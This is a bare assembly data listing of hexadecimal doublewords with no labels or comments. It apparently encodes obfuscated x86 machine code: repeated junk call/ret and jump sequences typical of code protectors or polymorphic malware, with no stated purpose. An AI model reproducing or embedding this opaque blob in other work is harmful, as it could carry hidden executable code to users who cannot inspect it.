dd 671577A7h, 89975819h, 0E932D995h, 0F88B6605h, 3055858Bh
dd 6A05E9h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 0BD957AC3h, 1850CF4Eh, 85898CFDh, 5E9303Dh
dd 890000C6h, 0E91831B5h, 5850905h, 0C705E90Eh
dd 0E927A985h, 5, 5BD8900h, 0E905E90Eh, 0FFFFF321h, 0D68B6057h
dd 19A59503h, 5B6105E9h, 6850Fh, 0BD8B0000h, 5E928A5h
dd 0DF8BC18Bh, 21E5858Dh, 0BD8905E9h, 5E92D21h, 0DE8B5090h
dd 41BD8990h, 6A05E908h, 6AFC00h, 8DF98B66h, 0ED874585h
dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h
dd 0C3554500h, 0C0833DBFh, 50006A05h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1404h, 0C3504000h, 81BD8B6Bh
dd 0BF05E90Eh, 72DC2C30h, 2D799D2Bh, 605005E9h, 763ABA66h
dd 24048961h, 0ADD3DBBh, 6A006A46h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0AE87C357h
dd 0E7816634h, 6AD86Eh, 2FA59D8Bh, 95FF05E9h, 5E90AA1h
dd 0F559D89h, 8D8D05E9h, 5ECADBFh, 0FFD9BF0Fh, 51006AD1h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 3847B9EEh, 9C1ACB81h, 0BD834BEBh, 5E901BDh, 9B850F01h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 5801C353h, 66DF29AFh, 0BCF0D381h
dd 0BF0F026Ah, 0EADF80FBh, 0DE86090h, 0DC000000h, 6441DB89h
dd 4050C793h, 7A94679Ah, 7F6BBB66h, 5B50535Fh, 5750615Bh
dd 0EE9h, 6FAF6E00h, 1C91520Eh, 0E80E25BEh, 5B977CCBh
dd 0CFCFBF90h, 95FF5FA8h, 5E900ADh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ch, 0A0C35545h, 0BCC825A8h, 0CB2848CAh
dd 48C0Fh, 0BF660000h, 1EE9D713h, 0E800000Eh, 0
dd 4FED815Dh, 6605ED87h, 51F58BBFh, 6A5FDE8Ah, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
dd 9E45C356h, 227B1760h, 8B376F0Eh, 4B858DDFh, 6A05EC90h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 29C9C350h, 509D3521h, 61D9BB66h, 8B240489h
dd 0E92B55BDh, 68A0F05h, 81000000h, 0E03674DBh, 35FF6427h
dd 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0D8C35747h
dd 37E61EB1h, 2645B589h, 896405E9h, 25h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 30E2EF9Ch, 6558A746h, 858BF560h, 5E916C9h, 0B5BD0361h
dd 0FF05E919h, 0E9068985h, 17F38105h, 6A281BFBh, 0EE9FFh
dd 0F8420000h, 2FAC39B4h, 0B2FFE26Ch, 208FAD52h, 2839B5FFh
dd 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 0E5DD4EC3h, 45E57DE5h, 8BE4B33Fh, 0E93191BDh
dd 95FFF505h, 5E907C9h, 142E9h, 0AE900h, 1EFB0000h, 0D21C0508h
dd 7166CED5h, 11E9h, 0D1BF7F00h, 80B0EA28h, 0B92382A5h
dd 97E4E3A2h, 0B0379Ch, 10E970E6h, 0F000000h, 0A78C8511h
dd 0FD0EA0CEh, 902B5612h, 0E4D0B60Ch, 0D7816671h, 0BB66EB2Ch
dd 613CF515h, 0F1830Fh, 89600000h, 0E9037D85h, 318D8905h
dd 6105E931h, 0E9C8B60Fh, 0Eh, 3298DD53h, 7B2C1EB7h, 73F8D721h
dd 6BAC8AEh, 8B000000h, 0E904F19Dh, 0E9C18B05h, 0Dh, 3BFC8E73h
dd 0EC230749h, 17AAA640h, 4E8C1C5h, 13E9h, 0E9BE7800h
dd 0B409F102h, 78708398h, 0E7DE9D80h, 0C8C1C4C9h, 2BE2F766h
dd 89BD8BC8h, 0F505E924h, 0FB8BD18Bh, 3E9h, 0FFBF0F00h
dd 0D89858Bh, 850F05E9h, 2, 0C083FE8Bh, 0C083FC07h, 0DBBF0F00h
dd 830FD03Bh, 0Ah, 88CB8166h, 51E959h, 8D8B0000h, 5E90089h
dd 6850Fh, 0B5890000h, 5E907BDh, 0F01E183h, 3684h, 0BD895200h
dd 5E92CE1h, 89A5835Fh, 0FE05E900h, 0EE9h, 0D2DB6400h
dd 0E4CBF04Ah, 0E611DE3Fh, 89F357F0h, 0E90D8995h, 0C9BD2305h
dd 6605E918h, 0E9DF8Bh, 8D000000h, 0ED09A4B5h, 0C8F0F05h
dd 0F000000h, 68Ch, 7DBD8B00h, 8B05E906h, 0E92F19BDh, 9006A05h
dd 0E926FD95h, 9595FF05h, 6A05E91Eh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 898CC352h
dd 0E9000D8Dh, 5BD8B05h, 0B905E92Eh, 83Eh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0E1C35747h, 8B51903Dh
dd 0E92299BDh, 0E1835F05h, 9FCF9FCh, 0E91E8585h, 96BF6605h
dd 0B876h, 0BF660000h, 0BA2226h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 8D0FC351h
dd 0D81FA2DDh, 0CE9h, 0D259B600h, 170FF170h, 5B8723D0h
dd 0C233ADE6h, 0D003E8D1h, 7504E983h, 63CF81F4h, 6A4E7273h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h
dd 41000000h, 3921C351h, 5DBF9B97h, 2B499589h, 880D05E9h
dd 81000000h, 55EAC5C3h, 55958B76h, 6005E926h, 1ED19D89h
dd 958905E9h, 5E93269h, 58D8B61h, 8B05E908h, 0C28B50F9h
dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0E858188Bh, 10h
dd 0A17D0958h, 321F7C13h, 70799984h, 0CDD7DCDEh, 2BE5BD23h
dd 6A5B05E9h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 16042444h, 43000000h, 0FBAEC353h, 0AE96039h, 57000000h
dd 1DFEFF3Eh, 44830CEBh, 0BD8361B1h, 5E91CF1h, 5B840F00h
dd 0B3000000h, 0B89Ch, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1C0424h, 57470000h, 0A1BC35C3h, 94F7199Ch
dd 8D8DB0CAh, 5E94E6Dh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 0EFC35040h, 38A0FBFh, 80000000h, 0E1FF04C7h
dd 0BD83FEB7h, 5E9163Dh, 2F840F00h, 66000004h, 0BD29D98Bh
dd 5E919C1h, 163DBD83h, 0F0105E9h, 43484h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 2A8FB779h, 0A99D8BE7h, 0E905E90Bh, 0Ch, 9A618DCBh, 0CE145DCEh
dd 0EBA633F7h, 163DBD83h, 0F0305E9h, 3BA86h, 59D8B00h
dd 6005E91Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 34C35242h, 8CF211F2h, 2CC835AAh, 22199D8Bh, 8C6605E9h
dd 4E180D9h, 0AB1D780h, 88840FC9h, 6A000001h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 8B05C352h, 69858BD9h, 6A05E928h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 6B8FC352h
dd 1D6E8700h, 337EAD9Bh, 0E90E6185h, 53006A05h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 508B536Fh
dd 5858944h, 9005E912h, 0DA8B5250h, 5DB7310Fh, 5250585Ah
dd 5FF98B66h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 0B2A57066h, 0BF662D90h, 6A8478h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0C6C35545h
dd 0F50AA1E2h, 88CEDF62h, 10FD9589h, 4E805E9h, 0FF000000h
dd 0E9001F03h, 8, 0BAB06490h, 80A58E3Ah, 8BDC8A50h, 0E9042444h
dd 6, 0C88A5DBCh, 8B3ABBh, 89FE8B66h, 0BF042444h, 191380CAh
dd 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h
dd 0C3554500h, 0F74FF94h, 118Ch, 0B70F6000h, 6E8D8h, 9FFE0000h
dd 0D2D08095h, 9D8B6159h, 5E90DA5h, 2D9DB531h, 95FF05E9h
dd 5E9292Dh, 89DE8B66h, 0ECBACE85h, 56006A05h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0A8E96105h
dd 0F000001h, 8Eh, 8BDD8A00h, 0ECBAC685h, 53006A05h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 260AC873h, 0ED4B762Eh, 0A99D8906h, 0C705E925h, 1800h
dd 619D8B00h, 8B05E905h, 0ECBACAB5h, 51006A05h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 11A0377Bh
dd 217341B0h, 258589DFh, 8B05E911h, 0E92F3985h, 52006A05h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 2832BB00h, 0EB800689h, 69858BFAh, 8B05E928h, 0E925259Dh
dd 28DB8105h, 897C7BDBh, 6A0446h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1A0424h, 53430000h, 0AF3F7BC3h, 0AED53236h
dd 810F6050h, 2, 0B9665852h, 8961F25Fh, 6A2434h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 663337C3h, 0A030AC0Ch, 1F810Fh, 890F0000h, 19h, 13E8h
dd 0D6F4C600h, 39FBAE64h, 0E2D20359h, 23D5F975h, 491A83FAh
dd 0C6B5FF5Bh, 6A05ECBAh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 0AF2BC352h, 276170E2h
dd 28CA9C5Ch, 1FADBD8Bh, 10E905E9h, 19000000h, 0FB9FA494h
dd 7CE9F098h, 1A20FC8Dh, 682C3088h, 4F61C0FDh, 3481F88Bh
dd 7EC30224h, 0FDBB664Fh, 0CE858DB5h, 5605ECBAh, 27918D31h
dd 505B05E9h, 66240489h, 0FF2036BBh, 0E9292D95h, 899D2305h
dd 6105E924h, 0EE19D89h, 85C705E9h, 5E9163Dh, 3, 1D618D89h
dd 0BD8305E9h, 5ECBACEh, 2C840F00h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 0F26FC356h, 0B70FB78Ah, 0EDF380DBh, 1DE9h, 50F88B00h
dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h
dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
dd 50400000h, 67FFFDC3h, 8D658C23h, 0F55AD24Bh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0EFC35747h, 5E8h
dd 0BA057600h, 8B66CDBDh, 0BD835BF8h, 5E9163Dh, 88850F03h
dd 6A000004h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 816BC355h, 0C1D2703Dh, 29A7EB4Eh
dd 0E921B18Dh, 0CEBD8305h, 5ECBAh, 451840Fh, 81660000h
dd 0E89062D3h, 6, 7D32C36h, 8B66D35Dh, 0B5FF5FD9h, 5ECBACEh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0BAC35343h
dd 0F8E0B00Ah, 50905FC2h, 0FFDE8B66h, 0E92B7595h, 57006A05h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 536AE2D9h, 38B0F14h, 0F000000h, 0B58BF9BFh, 5ECBAC2h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0A4C35545h
dd 5085ED38h, 362371BEh, 6E90Eh, 7CF70000h, 327B8703h
dd 106C7h, 0B5890001h, 5E90D95h, 5E850h, 57890000h, 66FC54C2h
dd 5FAD6DBBh, 0E9243489h, 5, 0FEBE071Eh, 0CEB5FFCEh, 0F05ECBAh
dd 68Dh, 899D8B00h, 0F05E92Ah, 95FFDEB7h, 5E92B4Dh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0F5C35141h, 0CA082D5Fh
dd 0B58BF9ACh, 5ECBAC2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 4BC35545h, 798BFA5Bh, 0E8BFCAE2h, 8B6A6E54h
dd 0E90FDD85h, 89F98B05h, 0C486h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 4D4B967Dh
dd 0FDF82C9h, 958BD8BFh, 5E92655h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 2DC35545h, 704B3B96h, 83A01B90h
dd 6A04C2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 1E8C86C3h, 0FF17549Bh, 0E05BD29h, 508905E9h
dd 13E820h, 4B8F0000h, 591BC754h, 0B1AF10CDh, 923D1BABh
dd 0D648E8C5h, 0D3816650h, 8D5BFA9Fh, 0ECD05585h, 0C1BD8B05h
dd 8905E902h, 0B886h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1A04h, 0C3524200h, 652179h, 6A106531h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 53D47DBAh, 0BD1A0F5Eh, 0E95638EDh, 5, 0CA7A51C3h, 0B5FF5FA6h
dd 5ECBACEh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 93C35141h, 0AD95FFh, 0BD2B05E9h, 5E91651h, 0F2B06096h
dd 5061DC8Ah, 2E6DE3BBh, 6A9671h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 150424h, 50400000h, 66EE6BC3h, 0B5FFD98Bh
dd 5ECBACEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 14h, 0FAC35545h, 95FFD98Bh, 5E93231h, 0B1BD83F9h, 5E92Ah
dd 67840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 0C0B9A1C3h, 8405C0FFh, 0B3ACBB5Ah
dd 0BB6696F7h, 0F500468h, 8Bh, 6A9600h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BE840C3h
dd 10000000h, 151AB71Eh, 759850Ch, 0E78184B3h, 49A2E299h
dd 0CEB5FF5Fh, 6A05ECBAh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 9430C357h, 6676D30Dh
dd 51BD8B29h, 8105E918h, 0F66765EBh, 6195FF3Dh, 6A05E92Fh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 0B2C9C350h, 17B98D89h, 0B5FF05E9h, 5ECBACEh
dd 2A79BD89h, 95FF05E9h, 5E92DC5h, 83F88B66h, 0E903FDBDh
dd 840F0205h, 75h, 0E94AB060h, 0Fh, 1912FE3Ah, 0C51F055Dh
dd 0A79F0013h, 611A332Bh, 3055858Bh, 6A05E9h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 9F4766C3h
dd 0C6E164h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1804h, 0C3574700h, 66E9BA49h, 0CE86Ah, 2EF00000h, 94E31258h
dd 49A77F6h, 0F98B6F17h, 0A985C75Fh, 5E927h, 0F000000h
dd 684h, 9D8D8900h, 6605E90Ah, 0E9B208BFh, 0FFFFF31Bh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0B5C35040h
dd 6AC18B9Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 0BBB0C356h, 0B90C6982h, 8D9D8B60h
dd 6605E92Dh, 0BCA1E681h, 0E5858D61h, 5005E921h, 489F98Ah
dd 29006A24h, 0E92E5D85h, 6A006A05h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0F52CC351h
dd 0F8FCC74h, 858DF8BFh, 5ED96F6h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 0D1C35747h, 6B3A1929h, 7E8E94Dh
dd 24000000h, 0D4B3D712h, 91BBA579h, 5F12466Bh, 8905C083h
dd 0E9045D9Dh, 66509005h, 990FA8Bh, 0E916EDBDh, 6A006A05h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 0E20DC357h, 8166006Ah, 0FFD89BF3h, 0E90AA195h
dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 0CAAA1B62h, 0F3816660h, 858938B3h, 5E92F71h
dd 0BF8D8D61h, 6A05ECADh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 85DFC350h, 8A0FE94Ah
dd 6, 17B98D29h, 0D1FF05E9h, 4DCF8166h, 0BDBD83FCh, 105E901h
dd 69850Fh, 0DE90000h, 0EE000000h, 1870E30Eh, 0E3F5151Dh
dd 0B44B2F21h, 8C0F026Ah, 6, 4E58D89h, 509005E9h, 12E8h
dd 0FE5D8800h, 1E5A79D3h, 542A4D9h, 551EFE8Eh, 5BAC1311h
dd 18A0F90h, 0FC000000h, 0AD95FFh, 6A05E9h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 150424h, 56460000h, 66801CC3h
dd 0E9879DBFh, 0F32h, 0E8h, 0ED815D00h, 5ED9700h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0E0C35545h, 6ABBB7h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 8B2D48C3h, 7350B09Ah, 89345F86h, 0E926419Dh, 0D19D2905h
dd 8905E918h, 0E90D9D9Dh, 4B858D05h, 6A05EC90h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
dd 0F66FC353h, 2F40ABA8h, 6EBB6650h, 24048944h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0F9C35646h, 0F5DB80C5h
dd 35FF64h, 2B000000h, 0E916399Dh, 25896405h, 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7FC35040h
dd 3CB7E095h, 0BD039EF8h, 5E90579h, 85FFD98Bh, 5E90689h
dd 1839BD8Bh, 0FF6A05E9h, 399B5FFh, 4FBB05E9h, 0F4624EFh
dd 95FFDAB7h, 5E907C9h, 11EE9h, 0B5853100h, 0B005E902h
dd 0F19D8B00h, 0E605E929h, 9BD8B70h, 0E405E931h, 418D8971h
dd 3C05E90Fh, 0F8830F61h, 89000000h, 0E912719Dh, 719D8905h
dd 0F05E917h, 0DA8BC8B6h, 6BAh, 0B98D8900h, 8B05E926h
dd 852960C1h, 5E90CD1h, 7E952h, 0DA40000h, 11C08B63h, 0C1615F50h
dd 0D78104E8h, 7D8A098h, 0DED4BF66h, 89E2F766h, 0E90FA18Dh
dd 0F8C82B05h, 8BD18BF9h, 0E91F65BDh, 6E905h, 9D8B0000h
dd 5E9193Dh, 2B41858Bh, 5E905E9h, 0B3000000h, 498E568Fh
dd 8907C083h, 0E924398Dh, 0C08305h, 12599D8Bh, 0D03B05E9h
dd 0E830Fh, 0BF0F0000h, 65E9DFh, 8D890000h, 5E908F1h, 1EA18D8Bh
dd 14E805E9h, 75000000h, 0B099EDC4h, 148C0459h, 949A277Fh
dd 96CB4AEFh, 0FC4A1919h, 1E1835Fh, 35840Fh, 0B70F0000h
dd 19D8BD8h, 8305E90Bh, 0E91EA1A5h, 0AE9FE05h, 0B5000000h
dd 5AF8087Bh, 790A1D57h, 159589C3h, 8905E910h, 0E92B4195h
dd 0EB816605h, 0E952ABh, 8D000000h, 0ED13E9B5h, 51006A05h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 481F52C4h, 89B183E7h, 0E927B9BDh, 66006A05h, 9D11DB81h
dd 13E852h, 36E00000h, 0BE655F3Dh, 0B54AD9CCh, 0A2C24DBAh
dd 0ADFC485Eh, 6DBD8B09h, 5B05E92Eh, 9595FF5Fh, 6A05E91Eh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 0BCC0C350h, 0AE10C602h, 73D381EFh, 891ACA99h
dd 0E9068D85h, 780B905h, 9D890000h, 5E91F79h, 6AFCE183h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 0ED29C357h, 0BF0F6AECh, 6AFCFFh, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 10E89DC3h, 68000000h, 44F340BFh, 0CFED4A21h, 0D9D5CFF9h
dd 669B78E1h, 0B85BFE8Bh, 0
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 1FC35646h
dd 5AABCA31h, 0BC4C05B8h, 68E0F6Eh, 1000000h, 0E90B5DBDh
dd 6AD22B05h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1A042444h, 42000000h, 0ED3DC352h, 851EEEB8h, 0C1DB8183h
dd 0AD395FD5h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 5943C357h, 10C311A5h, 85318585h, 5E9162Dh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0AAC35141h, 0ECF4C7Eh
dd 69BD8BF2h, 0D05E912h, 88h, 2F4DBD33h, 958B05E9h, 5E92655h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0ABC35747h
dd 0DE83084h, 505E34BBh, 58D8B50h, 6A05E908h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 0C067C352h, 13F8F7DDh, 0B59D8BC5h, 5005E904h, 188BC28Bh
dd 188BC103h, 0E8D1C18Bh, 188BC203h, 51006A58h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 99DFE30Bh
dd 800F7A12h, 6, 17C59589h, 0BD8305E9h, 5E91CF1h, 0B2840F00h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 10B6C357h, 785B31BEh, 0B8009445h
dd 0
dd 7E9h, 0B44DCC00h, 3DF3C73Ch, 4E6D8D8Dh, 6A05E9h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 0AB77DDC3h, 6F3D8671h, 11E8BA2Ch, 78000000h, 5FA7D3CCh
dd 71BDD6AFh, 0F688E060h, 8A90FC3h, 8A0Fh, 0F5F0000h, 9D8BDBB7h
dd 5E91F51h, 6AE1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 129031C3h, 0D242EBEBh, 0FABF0FCBh
dd 6CD78166h, 3DBD835Fh, 5E916h, 4DB840Fh, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 2F65C6C3h, 292E650Fh, 0E926EDB5h, 3DBD8305h, 105E916h
dd 4C2840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1C0424h, 52420000h, 33EAFDC3h, 0DE389F2Bh, 0AE9C394h
dd 18000000h, 0A309E648h, 52F717BCh, 3DBD8360h, 305E916h
dd 44C860Fh, 0C7810000h, 7AE77EE6h, 56006A60h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 5EFECEFDh
dd 66ED79CCh, 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 60854AC3h, 0F519589h, 958905E9h
dd 5E92CCDh, 4E18061h, 10E9h, 2D126A00h, 26DB581Dh, 225E3C5Dh
dd 6AC66C53h, 0FC90ADFh, 16B84h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 213A2FEAh
dd 426043E0h, 0CE9h, 0E772A300h, 0CE4B396Dh, 6E72887Ch
dd 69858B62h, 0F05E928h, 0A87h, 5E900h, 46C60000h, 3340226Dh
dd 0E90E6185h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1804h, 0C3524200h, 7D9EB87Dh, 39BD8BD0h
dd 9005E924h, 10E960h, 62F00000h, 505EBA8Ch, 0AB1A5531h
dd 0F38F768Ah, 5061BBE5h, 6A90F88Bh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0EE81C353h
dd 0FDAD48E5h, 0FCB6C30Fh, 0E8F8B70Fh, 13h, 797AA610h
dd 4F3622D3h, 0F4747D1Ah, 9B046E7Ch, 0FB77B2Ah, 8Ch, 6A5F00h
dd 6860Fh, 0BD890000h, 5E90F99h, 4E8h, 1F03FF00h, 5E800h
dd 23660000h, 0BB017CBDh, 57041E78h, 80B7505Fh, 424448Bh
dd 14E85250h, 0B5000000h, 7ED3B57Dh, 0E1E1C0BBh, 59D71B0h
dd 140BD5Fh, 0F71C9FAh, 84h, 310F5F00h, 585A40B7h, 6056008Bh
dd 0D2F4BF66h, 310F5250h, 5B61585Ah, 4244489h, 8958FB8Bh
dd 0E91DB58Dh, 2D95FF05h, 0F805E929h, 0BACE8589h, 0B50905ECh
dd 5E931FDh, 1F6E9F9h, 95290000h, 5E90595h, 0BAC6858Bh
dd 9D8905ECh, 5E93149h, 1800C7h, 9D8B0000h, 5E92B65h, 8BFEB70Fh
dd 0ECBACAB5h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1904h, 0C3554500h, 8B3483BCh, 858B2963h
dd 5E92F39h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 0D1C35242h, 532865Ch, 9D8B573Eh, 5E90D85h, 3D85895Bh
dd 8905E919h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1B04h, 0C3554500h, 0CA84F5BCh, 1DAFEC00h, 2869858Bh
dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 667D6CC3h, 4689B226h, 56006A04h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 699AFA68h
dd 33B98074h, 0E904DD9Dh, 34895005h, 3D850124h, 0FF05E90Dh
dd 0ECBAC6B5h, 50006A05h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 6911EB70h, 4E8F1h, 3FF0000h
dd 8B66001Fh, 0DD8A50FEh, 424448Bh, 0FE9h, 0EFB6500h, 2933166h
dd 39EEED03h, 0D28F6F96h, 5250008Bh, 310FDE8Bh, 5B29A9BBh
dd 89585A76h, 66042444h, 584DEFBBh, 4E98531h, 858D05E9h
dd 5ECBACEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ch, 8EC35545h, 8C3E12D5h, 831950B6h, 89D88B50h, 6A2404h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 0E2BBD0C3h, 0F11B9F04h, 8BF63540h, 0E92301BDh, 29566005h
dd 0E90E4D8Dh, 0FF615E05h, 0E9292D95h, 53006A05h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 9D89A813h, 5E90761h, 85C7FC61h, 5E9163Dh, 3, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 1FC35545h, 0B44FF08Eh
dd 0DF98509h, 816605E9h, 83DEB6F3h, 0ECBACEBDh, 840F0005h
dd 36h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h
dd 25C35646h, 2D9589D3h, 0F05E90Dh, 26E9F9B7h, 0E9000000h
dd 6, 3299BF77h, 3050D64Eh, 4400110Ch, 0E8C10111h, 11443010h
dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h
dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h
dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h
dd 7504E983h, 8B00EBE7h, 0D9589C0h, 8305E927h, 0E9163DBDh
dd 850F0305h, 473h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 61C35545h, 93E59BD5h, 1D68060h, 0F9D88166h
